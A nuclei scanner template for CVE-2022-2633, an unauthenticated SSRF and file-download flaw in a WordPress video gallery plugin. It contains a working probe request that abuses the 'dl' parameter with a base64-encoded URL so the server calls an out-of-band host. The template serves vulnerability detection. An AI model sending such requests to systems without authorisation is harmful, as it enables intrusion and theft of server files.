nuclei-templates/cves/2022/CVE-2022-2633.yaml

41 lines
1.3 KiB
YAML

id: CVE-2022-2633
info:
name: All-In-One Video Gallery <=2.6.0 - Server-Side Request Forgery
author: theamanrawat
description: |
WordPress All-in-One Video Gallery plugin through 2.6.0 is susceptible to arbitrary file download and server-side request forgery (SSRF) via the 'dl' parameter found in the ~/public/video.php file. An attacker can download sensitive files hosted on the affected server and forge requests to the server.
reference:
- https://wpscan.com/vulnerability/852c257c-929a-4e4e-b85e-064f8dadd994
- https://blog.amanrawat.in/2022/09/28/CVE-2022-2633.html
- https://wordpress.org/plugins/all-in-one-video-gallery/
- https://nvd.nist.gov/vuln/detail/CVE-2022-2633
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-918
cve-id: CVE-2022-2633
metadata:
verified: true
tags: cve2022,wp-plugin,unauth,ssrf,wpscan,cve,wordpress,wp,all-in-one-video-gallery
requests:
- raw:
- |
@timeout: 10s
GET /index.php/video/?dl={{base64('https://oast.me/')}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Interactsh Server'
- type: status
status:
- 200
# Enhanced by cs on 2023/04/10